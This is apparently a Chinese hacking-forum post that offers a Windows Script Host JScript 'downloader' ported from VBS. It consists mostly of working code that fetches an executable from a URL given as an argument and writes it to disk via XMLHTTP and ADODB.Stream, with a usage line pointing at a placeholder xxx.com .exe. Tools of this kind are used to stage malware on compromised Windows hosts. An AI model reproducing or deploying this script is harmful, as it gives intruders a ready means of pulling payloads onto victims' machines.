js下载者 's

作者：lcx
来源：vbs小铺

//将常用的vbs下载者改成js版了。本来想用jsc.exe编译，可是不成功。jsc.exe不认WScript

//use: cscript this.js http://www.xxx.com/xxx.exe c:/xxx.exe

var objArgs = WScript.Arguments;
var sGet=new ActiveXObject("ADODB.Stream");
var xGet = false;
try {
xGet = new XMLHttpRequest();
}
catch (trymicrosoft) {
try {
    xGet = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (othermicrosoft) {
    try {
      xGet = new ActiveXObject("Microsoft.XMLHTTP");
    }
catch (failed) {
      xGet = false;
    }
}
}

xGet.Open ("GET",objArgs(0).toLowerCase(),0);
xGet.Send();
sGet.Mode=3;
sGet.Type=1;
sGet.Open();
sGet.Write (xGet.ResponseBody);
sGet.SaveToFile (objArgs(1).toLowerCase(),2);